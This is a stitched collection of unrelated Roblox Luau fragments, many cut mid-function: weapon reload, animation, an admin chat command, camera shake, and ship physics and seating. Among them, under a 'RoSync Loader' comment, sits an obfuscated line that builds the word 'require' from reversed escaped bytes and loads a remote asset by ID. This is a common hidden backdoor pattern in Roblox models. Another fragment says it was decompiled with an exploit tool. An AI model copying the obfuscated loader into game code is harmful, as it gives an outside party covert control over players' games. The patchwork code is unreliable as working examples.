function onButton1Up(mouse)
automatichold = false
end
function onKeyDown(key, mouse)
if key:lower() == "r" then
if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then
reloadsound = script:FindFirstChild("Reload")
if reloadsound then
reloadsound:Play()
end
enabled = false
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reloading"
repeat script.Parent.StringValue.Value = "Reloading" wait(0.15) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value
script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value
wait(0.2)
script.Parent.VisibleB.Value = false
enabled = true
end
end
if key:lower() == "m" then
if GunType == 1 then
GunType = 0
Recoil = 6
else
GunType = 1
Recoil = 5
end
end
end
function onEquipped(mouse)
equipped = true
if mouse == nil then
print("Mouse not found")
return
end
mouse.Icon = "http://www.roblox.com/asset/?id=52812029"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end)
end
function onUnequipped(mouse)
equipped = false
automatichold = false
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
while true do wait()
if script.Parent.Ammo.Value == 0 then
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reload"
end
if GunType == 1 then
script.Parent.ModeText.Value = "Auto"
else
script.Parent.ModeText.Value = "Semi"
end
end
|
--MoverL1 = script.Parent.LowToneSolenoid.MovingParts.Mover.PrismaticConstraint
--MoverL2 = script.Parent.HighToneSolenoid.MovingParts.Mover.PrismaticConstraint
|
A = .061
B = 1.6
C = 2
SolenoidSound1 = script.Parent.Housing.SolenoidSound1
SolenoidSound2 = script.Parent.Housing.SolenoidSound2
|
-- Preload animations
|
function playAnimation(animName: string, transitionTime: number, humanoid: Humanoid)
local roll = Rand:NextInteger(1, animTable[animName].totalWeight)
local idx = 1
while roll > animTable[animName][idx].weight do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- switch animation
if anim ~= currentAnimInstance then
if currentAnimTrack ~= nil then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if currentAnimKeyframeHandler ~= nil then
currentAnimKeyframeHandler:Disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)
end
end
|
--Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen...
|
if string.sub(msg,1,5) == "part/" then
local danumber1 = nil
local danumber2 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
if speaker.Character ~= nil then
local head = speaker.Character:FindFirstChild("Head")
if head ~= nil then
local part = Instance.new("Part")
part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
part.Name = "Person299's Admin Command Script V2 Part thingy"
part.Parent = game.Workspace
end end end
|
-- upstream: https://github.com/facebook/react/blob/2ba43edc2675380a0f2222f351475bf9d750c6a9/packages/shared/ReactInstanceMap.js
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
| |
-- Initialize lighting tool
|
local LightingTool = require(CoreTools:WaitForChild 'Lighting')
Core.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool));
Core.Dock.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool, 'LightingInfo');
|
-- METHODS
|
function IconController.setGameTheme(theme)
IconController.gameTheme = theme
local icons = IconController.getIcons()
for _, icon in pairs(icons) do
icon:setTheme(theme)
end
end
function IconController.setDisplayOrder(value)
value = tonumber(value) or TopbarPlusGui.DisplayOrder
TopbarPlusGui.DisplayOrder = value
end
IconController.setDisplayOrder(10)
function IconController.getIcons()
local allIcons = {}
for otherIcon, _ in pairs(topbarIcons) do
table.insert(allIcons, otherIcon)
end
return allIcons
end
function IconController.getIcon(name)
for otherIcon, _ in pairs(topbarIcons) do
if otherIcon.name == name then
return otherIcon
end
end
return false
end
function IconController.canShowIconOnTopbar(icon)
if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then
return true
end
return false
end
function IconController.getMenuOffset(icon)
local alignment = icon:get("alignment")
local alignmentGap = IconController[alignment.."Gap"]
local iconSize = icon:get("iconSize") or UDim2.new(0, 32, 0, 32)
local sizeX = iconSize.X.Offset
local iconWidthAndGap = (sizeX + alignmentGap)
local extendLeft = 0
local extendRight = 0
local additionalRight = 0
if icon.menuOpen then
local menuSize = icon:get("menuSize")
local menuSizeXOffset = menuSize.X.Offset
local direction = icon:_getMenuDirection()
if direction == "right" then
extendRight += menuSizeXOffset + alignmentGap/6--2
elseif direction == "left" then
extendLeft = menuSizeXOffset + 4
extendRight += alignmentGap/3--4
additionalRight = menuSizeXOffset
end
end
return extendLeft, extendRight, additionalRight
end
|
--print("Motion blur disabled")
|
script.Disabled = true
end
if UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel1
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel2
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel3
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel4
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel5 then
|
--Variables
|
local Hit = script.Parent.Parent.Humanoid:LoadAnimation(script.Parent.HitAnim)
local Trace = script.Parent.Katana_Model.Trace
local Effects = script.Parent.Effects
local HitBox = script.Parent.Katana_Model.HitBox
local CoolDown = script.Parent.Values.CoolDown
local Activo = script.Parent.Values.Activo
|
-- Thanks for downloading my system! Here are some tips on the installation procces!
-- Ungroup the models in the place where the name tells you to.
-- There are 2 Configs, 1 for the charges and 1 for general stuff.
-- The Charges one is called "ChargeConfig" and is located in ReplicatedStorage.
-- The general one is located in workspace.CuffSystem.
-- If you find any bugs or need help in general contact me on Roblox or Discord.
-- You move the JailSpawn to the location of your jail.
| |
--[[
cameraShakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
--]]
|
local CameraShakeInstance = {}
CameraShakeInstance.__index = CameraShakeInstance
local V3 = Vector3.new
local NOISE = math.noise
CameraShakeInstance.CameraShakeState = {
FadingIn = 0;
FadingOut = 1;
Sustained = 2;
Inactive = 3;
}
function CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
if (fadeInTime == nil) then fadeInTime = 0 end
if (fadeOutTime == nil) then fadeOutTime = 0 end
assert(type(magnitude) == "number", "Magnitude must be a number")
assert(type(roughness) == "number", "Roughness must be a number")
assert(type(fadeInTime) == "number", "FadeInTime must be a number")
assert(type(fadeOutTime) == "number", "FadeOutTime must be a number")
local self = setmetatable({
Magnitude = magnitude;
Roughness = roughness;
PositionInfluence = V3();
RotationInfluence = V3();
DeleteOnInactive = true;
roughMod = 1;
magnMod = 1;
fadeOutDuration = fadeOutTime;
fadeInDuration = fadeInTime;
sustain = (fadeInTime > 0);
currentFadeTime = (fadeInTime > 0 and 0 or 1);
tick = Random.new():NextNumber(-100, 100);
_camShakeInstance = true;
}, CameraShakeInstance)
return self
end
function CameraShakeInstance:UpdateShake(dt)
local _tick = self.tick
local currentFadeTime = self.currentFadeTime
local offset = V3(
NOISE(_tick, 0) * 0.5,
NOISE(0, _tick) * 0.5,
NOISE(_tick, _tick) * 0.5
)
if (self.fadeInDuration > 0 and self.sustain) then
if (currentFadeTime < 1) then
currentFadeTime = currentFadeTime + (dt / self.fadeInDuration)
elseif (self.fadeOutDuration > 0) then
self.sustain = false
end
end
if (not self.sustain) then
currentFadeTime = currentFadeTime - (dt / self.fadeOutDuration)
end
if (self.sustain) then
self.tick = _tick + (dt * self.Roughness * self.roughMod)
else
self.tick = _tick + (dt * self.Roughness * self.roughMod * currentFadeTime)
end
self.currentFadeTime = currentFadeTime
return offset * self.Magnitude * self.magnMod * currentFadeTime
end
function CameraShakeInstance:StartFadeOut(fadeOutTime)
if (fadeOutTime == 0) then
self.currentFadeTime = 0
end
self.fadeOutDuration = fadeOutTime
self.fadeInDuration = 0
self.sustain = false
end
function CameraShakeInstance:StartFadeIn(fadeInTime)
if (fadeInTime == 0) then
self.currentFadeTime = 1
end
self.fadeInDuration = fadeInTime or self.fadeInDuration
self.fadeOutDuration = 0
self.sustain = true
end
function CameraShakeInstance:GetScaleRoughness()
return self.roughMod
end
function CameraShakeInstance:SetScaleRoughness(v)
self.roughMod = v
end
function CameraShakeInstance:GetScaleMagnitude()
return self.magnMod
end
function CameraShakeInstance:SetScaleMagnitude(v)
self.magnMod = v
end
function CameraShakeInstance:GetNormalizedFadeTime()
return self.currentFadeTime
end
function CameraShakeInstance:IsShaking()
return (self.currentFadeTime > 0 or self.sustain)
end
function CameraShakeInstance:IsFadingOut()
return ((not self.sustain) and self.currentFadeTime > 0)
end
function CameraShakeInstance:IsFadingIn()
return (self.currentFadeTime < 1 and self.sustain and self.fadeInDuration > 0)
end
function CameraShakeInstance:GetState()
if (self:IsFadingIn()) then
return CameraShakeInstance.CameraShakeState.FadingIn
elseif (self:IsFadingOut()) then
return CameraShakeInstance.CameraShakeState.FadingOut
elseif (self:IsShaking()) then
return CameraShakeInstance.CameraShakeState.Sustained
else
return CameraShakeInstance.CameraShakeState.Inactive
end
end
return CameraShakeInstance
|
---
|
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.MouseButton1Click:connect(function()
if hinge.DesiredAngle == 0 then
sound.SoundId = "rbxassetid://278329638"
sound:Play()
wait(.4)
hinge.DesiredAngle = .35
else
hinge.DesiredAngle = 0
sound.SoundId = "rbxassetid://278329638"
sound:Play()
end
end)
|
--[=[
@param class table | (...any) -> any
@param ... any
@return any
Constructs a new object from either the
table or function given.
If a table is given, the table's `new`
function will be called with the given
arguments.
If a function is given, the function will
be called with the given arguments.
The result from either of the two options
will be added to the Janitor.
```lua
local Signal = require(somewhere.Signal)
-- All of these are identical:
local s = Janitor:Construct(Signal)
local s = Janitor:Construct(Signal.new)
local s = Janitor:Construct(function() return Signal.new() end)
local s = Janitor:Add(Signal.new())
-- Even Roblox instances can be created:
local part = Janitor:Construct(Instance, "Part")
```
]=]
|
function Janitor:Construct(class, ...)
local object = nil
local t = type(class)
if t == "table" then
object = class.new(...)
elseif t == "function" then
object = class(...)
end
return self:Add(object)
end
|
--- An expensive way to spawn a function. However, unlike spawn(), it executes on the same frame, and
-- unlike coroutines, does not obscure errors
-- @module fastSpawn
|
return function(func, ...)
assert(type(func) == "function")
local args = {...}
local bindable = Instance.new("BindableEvent")
bindable.Event:Connect(function()
func(unpack(args))
end)
bindable:Fire()
bindable:Destroy()
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Death void" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Place in main folder
|
coding = script.Parent.Coding
aud = script.Parent.AudibleCircuit
wait(1)
if coding.Value == 0 then -- Continuous
aud.Value = 1
elseif coding.Value == 1 then -- Temporal
while true do
for i = 1, 3 do
aud.Value = 1
wait(0.5)
aud.Value = 0
wait(0.5)
end
wait(1)
end
elseif coding.Value == 2 then -- 120 March Time
while true do
aud.Value = 1
wait(0.25)
aud.Value = 0
wait(0.25)
end
elseif coding.Value == 3 then -- 60 March Time
while true do
aud.Value = 1
wait(0.5)
aud.Value = 0
wait(0.5)
end
elseif coding.Value == 4 then -- 20 March Time
while true do
aud.Value = 1
wait(1.5)
aud.Value = 0
wait(1.5)
end
end
|
-- Setup animation objects
|
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
|
--[[ Last synced 7/17/2021 08:03 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--local Rigging = WaitForChild(BoatModel, "Rigging")
|
local ShipData = EasyConfiguration.MakeEasyConfiguration(script)
ShipData.AddValue("IntValue", {
Name = "MaxShipHealth";
Value = 10000;
})
ShipData.AddValue("IntValue", {
Name = "ShipHealth";
Value = ShipData.MaxShipHealth;
})
local DamageShipFunction = WaitForChild(script, "DamageShip")
function DamageShipFunction.OnInvoke(Damage)
if tonumber(Damage) then
ShipData.ShipHealth = ShipData.ShipHealth - Damage
else
warn("[ShipScript] - Derp a herp give me a number you idiot")
end
end
local ShipSinkingManager = {} do
ShipSinkingManager.Sinking = false
local FireList = {}
local function DecomposeVector3(Vector)
return Vector.X, Vector.Y, Vector.Z
end
local CannonSets = {}
local function GetCannonSets(Model)
for _, Item in pairs(Model:GetChildren()) do
if Item:IsA("Model") then
if Item:FindFirstChild("qCannonManager") then
CannonSets[Item] = true
--print("Cannon set found", Item)
else
GetCannonSets(Item)
end
end
end
end
GetCannonSets(BoatModel)
local function IsChildOfCannonSet(Child)
for CannonSet, _ in pairs(CannonSets) do
if Child:IsDescendantOf(CannonSet) then
return true
end
end
return false
end
function ShipSinkingManager:SetRandomPartsOnFire(PartList)
local RelativeLookVector = Seat.CFrame.lookVector
ShipSinkingManager.TallestPart = PartList[1]
for _, Item in pairs(PartList) do
local LargestSize = math.max(DecomposeVector3(Item.Size))
local RelativeYHeight = Seat.CFrame:toObjectSpace(Item.CFrame).p.Y + 10
if Item.Position.Y > ShipSinkingManager.TallestPart.Position.Y then
ShipSinkingManager.TallestPart = Item
end
if LargestSize <= 30 and not Item:FindFirstChild("FlameFromSink") and Item.Transparency < 1 and not IsChildOfCannonSet(Item) and Item ~= PhysicsManager.CenterPart then
if math.random() > 0.5 then
delay(RelativeYHeight/15 + (math.random() - 0.5)*2, function()
local Fire = Instance.new("Fire", Item)
Fire.Size = LargestSize + 5
Fire.Name = "FlameFromSink"
Fire.Archivable = false
Fire.Heat = 0
local Index = #FireList+1
local NewFire = {
Fire = Fire;
Part = Item;
}
if math.random() > 0.5 then
local Smoke = Instance.new("Smoke", Item)
Smoke.Name = "Smoke"
Smoke.Archivable = false
Smoke.RiseVelocity = 10;
local SmokeColorPercent = 0.5 + math.random()*0.3
Smoke.Color = Color3.new(SmokeColorPercent, SmokeColorPercent, SmokeColorPercent)
Smoke.Size = LargestSize + 5
Smoke.Opacity = 0.1
NewFire.Smoke = Smoke
end
FireList[Index] = NewFire
end)
end
end
end
end
local function BreakOffPart(Part)
Part:BreakJoints()
Part.CanCollide = false
local Mass = Part:getMass()
local Floater = Make("BodyPosition", {
Parent = Part;
maxForce = Vector3.new(0, Mass * 9.81 * 20 * (1+Configuration.PercentExtraCargo), 0);
position = Vector3.new(0, Configuration.WaterLevel, 0);
Archivable = false;
})
PhysicsManager:ReduceGravity(Mass)
Debris:AddItem(Floater, 5)
end
function ShipSinkingManager:StartManagingFire()
spawn(function()
while ShipSinkingManager.Sinking do
local Index = 1
while Index <= #FireList do
local Fire = FireList[Index]
--print(Index, Fire)
if Fire.Part.Position.Y <= Configuration.WaterLevel then
--print("Removing ", Index)
Fire.Fire:Destroy()
if Fire.Smoke then
Fire.Smoke:Destroy()
end
table.remove(FireList, Index)
else
Index = Index + 1
if math.random() <= 0.05 and Fire.Part.Material.Name ~= "Fabric" then
BreakOffPart(Fire.Part)
end
end
end
wait(0.1)
if ShipSinkingManager.TallestPart.Position.Y <= Configuration.WaterLevel - 25 then
ShipSinkingManager:CleanUp()
end
end
end)
end
function ShipSinkingManager:CleanUp()
print("Cleaning")
ShipSinkingManager.Sinking = false
PhysicsManager:Destroy()
ControlManager:Destroy()
BoatModel:Destroy()
end
function ShipSinkingManager:Sink()
if not ShipSinkingManager.Sinking then
ShipSinkingManager.Sinking = true
ShipSinkingManager:SetRandomPartsOnFire(PhysicsManager.Parts)
PhysicsManager:Sink()
ShipSinkingManager:StartManagingFire()
end
end
end
ShipData.Get("ShipHealth").Changed:connect(function()
if ShipData.ShipHealth <= 0 then
ShipSinkingManager:Sink()
end
end)
PhysicsManager = {} do
PhysicsManager.Active = true
local Parts = {}
PhysicsManager.Parts = Parts
PhysicsManager.RotateGyro = CFrame.new() -- Used by sinking
PhysicsManager.TotalForceReductionInBodyPosition = 1 -- Er... not a total, but a uh... running percentage?
CallOnChildren(BoatModel, function(Part)
if Part:IsA("BasePart") then
Parts[#Parts+1] = Part
end
end)
-- Force = Mass * Acceleration
local CenterOfMass, TotalMass = GetCenterOfMass(Parts)
local CenterPart = Instance.new("Part", BoatModel)
CenterPart.Anchored = true;
CenterPart.Name = "CenterPart";
CenterPart.CanCollide = false;
CenterPart.Archivable = false;
CenterPart.FormFactor = "Custom";
CenterPart.Size = Vector3.new(0.2, 0.2, 0.2)
CenterPart.Transparency = 1
CenterPart.CFrame = GetRotationInXZPlane(Seat.CFrame - Seat.CFrame.p) + CenterOfMass
PhysicsManager.CenterPart = CenterPart
TotalMass = TotalMass + CenterPart:GetMass()
local BodyPosition = Instance.new("BodyPosition")
BodyPosition.P = 0 --10000000
BodyPosition.D = 0 --10000000
BodyPosition.maxForce = Vector3.new(0, 1 * TotalMass*(1+Configuration.PercentExtraCargo) * 9.81 * 20, 0) --Vector3.new(0, 100000000, 0)
BodyPosition.Parent = CenterPart
BodyPosition.position = CenterPart.Position--]]
BodyPosition.Archivable = false
local BodyGyro = Instance.new("BodyGyro")
BodyGyro.D = 100
BodyGyro.P = 1000
BodyGyro.maxTorque = Vector3.new(1, 0, 1) * (Configuration.MaxRotationCorrectionAcceleration) --Vector3.new(8999999488, 0, 8999999488)
BodyGyro.Parent = CenterPart
BodyGyro.cframe = CenterPart.CFrame
BodyGyro.Archivable = false
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.maxForce = Vector3.new(1, 0, 1) * (TotalMass * Configuration.Acceleration) --Vector3.new(1000000, 0, 1000000)
BodyVelocity.P = 100
BodyVelocity.Parent = CenterPart
local BodyAngularVelocity = Instance.new("BodyAngularVelocity")
BodyAngularVelocity.maxTorque = Vector3.new(0, 1*TotalMass * Configuration.TurnAccelerationFactor, 0)
BodyAngularVelocity.P = 100
BodyAngularVelocity.Parent = CenterPart
BodyAngularVelocity.angularvelocity = Vector3.new()
local TiltCoroutine = coroutine.create(function()
local BasePosition = BodyPosition.position
local Count = tick()%100000
while PhysicsManager.Active do
local Delta = coroutine.yield()
Count = Count + 0.1*Delta
local YRotation = GetRotationInXZPlane(CenterPart.CFrame)
local UndoctoredPercentTilt = CenterPart.RotVelocity.Y/Configuration.MaxSpeed/Configuration.TiltRatioFactor -- Because apparently bodyangularvelocity's never get close to the true value.
local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed
local UndoctoredPercent = UndoctoredPercentTilt*UndoctoredPercentSpeed
local PercentTilt = math.max(0, math.min(1, math.abs(UndoctoredPercent)))*Sign(UndoctoredPercent)
local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed))
local AddedYaw = Configuration.AddedYawOnSpeed * PercentSpeed
local NewYawAmount = math.sin(Count)*Configuration.MaxShipYawInRadians*(1-PercentSpeed)+AddedYaw
local Yaw = CFrame.Angles(NewYawAmount, 0, 0)
local Tilt = CFrame.Angles(0, 0, Configuration.MaxShipTiltInRadians * PercentTilt)
BodyGyro.cframe = YRotation * Tilt * Yaw * PhysicsManager.RotateGyro
end
end)
local WaveCoroutine = coroutine.create(function()
local BasePosition = BodyPosition.position
local Count = tick()%100000
while PhysicsManager.Active do
local Delta = coroutine.yield()
Count = Count + 0.1*Delta
local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed
local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed))
--print("PercentSpeed", PercentSpeed)
local AddedHeightFromSpeed = Configuration.AmplitudeOfWaves * PercentSpeed
local WaveHeight = math.sin(Count)*Configuration.AmplitudeOfWaves*(1-PercentSpeed) + AddedHeightFromSpeed -- waves don't effect ships moving fast.
BodyPosition.position = BasePosition + Vector3.new(0, WaveHeight, 0)
end
end)
spawn(function()
local Delta = 0.1
while PhysicsManager.Active do
assert(coroutine.resume(TiltCoroutine, Delta))
assert(coroutine.resume(WaveCoroutine, Delta))
Delta = wait(0.1)
end
end)
function PhysicsManager:ReduceGravity(Mass)
BodyPosition.maxForce = BodyPosition.maxForce - Vector3.new(0,
Mass*(1+Configuration.PercentExtraCargo) * 9.81 * 20 * PhysicsManager.TotalForceReductionInBodyPosition,
0)
end
function PhysicsManager:ControlUpdate(Forwards, Turn)
Forwards = Forwards or 0
Turn = Turn or 0
BodyVelocity.velocity = CenterPart.CFrame.lookVector * Forwards * Configuration.MaxSpeed
BodyAngularVelocity.angularvelocity = Vector3.new(0, Configuration.MaxTurnSpeed * Turn, 0)
end
function PhysicsManager:StopControlUpdate()
BodyVelocity.velocity = Vector3.new()
BodyAngularVelocity.angularvelocity = Vector3.new()
end
function PhysicsManager:Sink()
spawn(function()
local ChangeInRotationOnSinkX = math.random() * math.pi/720
local ChangeInRotationOnSinkZ = math.random() * math.pi/720
local ChangeInForce = 0.999
local ControlChangeInForce = 0.999
while PhysicsManager.Active do
PhysicsManager.TotalForceReductionInBodyPosition = PhysicsManager.TotalForceReductionInBodyPosition * ChangeInForce
BodyPosition.maxForce = BodyPosition.maxForce * ChangeInForce
ChangeInForce = 1-((1 - ChangeInForce)*0.95)
BodyAngularVelocity.maxTorque = BodyAngularVelocity.maxTorque * ControlChangeInForce
BodyVelocity.maxForce = BodyVelocity.maxForce * ControlChangeInForce
BodyGyro.maxTorque = BodyGyro.maxTorque * ChangeInForce
ChangeInRotationOnSinkX = ChangeInRotationOnSinkX * 0.99
ChangeInRotationOnSinkZ = ChangeInRotationOnSinkZ * 0.99
PhysicsManager.RotateGyro = PhysicsManager.RotateGyro * CFrame.Angles(ChangeInRotationOnSinkX, 0, ChangeInRotationOnSinkZ)
wait()
end
end)
end
function PhysicsManager:Destroy()
PhysicsManager.Active = false
BodyAngularVelocity:Destroy()
BodyGyro:Destroy()
BodyVelocity:Destroy()
BodyPosition:Destroy()
CenterPart:Destroy()
end
end
SeatManager = {} do
SeatManager.PlayerChanged = Signal.new()
local ControlEndedEvent = WaitForChild(script, "ControlEnded");
local qShipManagerLocal = WaitForChild(script, "qShipManagerLocal")
SeatManager.Seat = Seat
local ActivePlayerData
function SeatManager:GetActivePlayer()
return ActivePlayerData and ActivePlayerData.Player or nil
end
local function DeactivateActivePlayer()
if ActivePlayerData then
ActivePlayerData:Destroy()
ActivePlayerData = nil
end
end
function SeatManager:GetActivePlayer()
if ActivePlayerData then
return ActivePlayerData.Player
else
return nil
end
end
local function HandleNewPlayer(Weld, Player)
BoatModel.Parent = workspace
SeatManager.PlayerChanged:fire()
DeactivateActivePlayer()
local NewData = {}
NewData.Player = Player
NewData.Weld = Weld
local Script = qShipManagerLocal:Clone()
Script.Archivable = false;
local Maid = MakeMaid()
NewData.Maid = Maid
Make("ObjectValue", {
Name = "ParentScript";
Value = script;
Archivable = false;
Parent = Script;
})
NewData.Script = Script
Maid:GiveTask(function()
if Player:IsDescendantOf(game) then
ControlEndedEvent:FireClient(Player)
Script.Name = "_DeadScript";--]]
Script:Destroy()
end
end)--]]
Script.Parent = Player.PlayerGui
Script.Disabled = false
print("New player -", Player)
function NewData:Destroy()
Maid:DoCleaning()
Maid = nil
end
ActivePlayerData = NewData
end
Seat.ChildAdded:connect(function(Weld)
if Weld:IsA("Weld") then
local Torso = Weld.Part1
if Torso then
local Character, Player = GetCharacter(Torso)
if Player and CheckCharacter(Player) and Character.Humanoid.Health > 0 then
HandleNewPlayer(Weld, Player)
end
end
end
end)
Seat.ChildRemoved:connect(function(Child)
if ActivePlayerData and ActivePlayerData.Weld == Child then
--ActivePlayerData.Player.PlayerGui
DeactivateActivePlayer()
SeatManager.PlayerChanged:fire()
end
end)
end
ControlManager = {} do
ControlManager.Active = true
local MoveEvent = WaitForChild(script, "Move");
local StopEvent = WaitForChild(script, "Stop");
local Forwards
local Turn
local Updating = false
local UpdateCoroutine = coroutine.create(function()
while ControlManager.Active do
local Delta = wait()
while (Forwards or Turn) and SeatManager:GetActivePlayer() do
--[[if Forwards then
PhysicsManager:Forwards(Delta, Forwards)
else
PhysicsManager:Forwards(Delta, nil)
end
if Turn then
PhysicsManager:Turn(Delta, Turn)
else
PhysicsManager:Turn(Delta, Turn)
end--]]
PhysicsManager:ControlUpdate(Forwards, Turn)
Delta = wait()
end
PhysicsManager:StopControlUpdate()
Updating = false
coroutine.yield()
end
end)
assert(coroutine.resume(UpdateCoroutine))
local function StartUpdate()
if not Updating and ControlManager.Active then
Updating = true
assert(coroutine.resume(UpdateCoroutine))
end
end
MoveEvent.OnServerEvent:connect(function(Client, Type)
if Client == SeatManager:GetActivePlayer() then
if Type == "Forwards" then
Forwards = 1
elseif Type == "Backwards" then
Forwards = -1
elseif Type == "Left" then
Turn = 1
elseif Type == "Right" then
Turn = -1
else
warn("Unable to handle move event with type `" .. tostring(Type) .. "`")
end
else
warn("Invalid client, cannot move")
end
end)
StopEvent.OnServerEvent:connect(function(Client, Type)
if Client == SeatManager:GetActivePlayer() then
if Type == "Forwards" or Type == "Backwards" then
Forwards = nil
elseif Type == "Left" or Type == "Right" then
Turn = nil
else
warn("Unable to handle move event with type `" .. tostring(Type) .. "`")
end
else
warn("Invalid client, cannot move")
end
end)
function ControlManager:Destroy()
ControlManager.Active = false
end
end
local WeldManager = {} do
local Parts = GetBricks(BoatModel)
WeldParts(Parts, PhysicsManager.CenterPart, "ManualWeld")
end
|
-- the Tool, reffered to here as "Block." Do not change it!
|
Block = script.Parent.Parent.Body -- You CAN change the name in the quotes "Example Tool"
|
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme
|
function ControlModule:OnComputerMovementModeChange()
local controlModule, success = self:SelectComputerMovementModule()
if success then
self:SwitchToController(controlModule)
end
end
function ControlModule:OnTouchMovementModeChange()
local touchModule, success = self:SelectTouchModule()
if success then
while not self.touchControlFrame do
wait()
end
self:SwitchToController(touchModule)
end
end
function ControlModule:CreateTouchGuiContainer()
if self.touchGui then self.touchGui:Destroy() end
-- Container for all touch device guis
self.touchGui = Instance.new("ScreenGui")
self.touchGui.Name = "TouchGui"
self.touchGui.ResetOnSpawn = false
self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
self.touchGui.Enabled = self.humanoid ~= nil
self.touchControlFrame = Instance.new("Frame")
self.touchControlFrame.Name = "TouchControlFrame"
self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
self.touchControlFrame.BackgroundTransparency = 1
self.touchControlFrame.Parent = self.touchGui
self.touchGui.Parent = self.playerGui
end
function ControlModule:GetClickToMoveController()
if not self.controllers[ClickToMove] then
self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
end
return self.controllers[ClickToMove]
end
return ControlModule.new()
|
--
|
function CharacterClone.new(character)
local self = setmetatable({}, CharacterClone)
self.Character = character
self.Clone = character:Clone()
self.Clone:WaitForChild("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
self.Lookup = self:GetLookup()
return self
end
|
-- end
|
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
RightShoulder.MaxVelocity = 0.25
LeftShoulder.MaxVelocity = 0.25
if (pose == "Running") then
amplitude = 1
frequency = 9
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(script.Parent:WaitForChild("CameraUtils"));
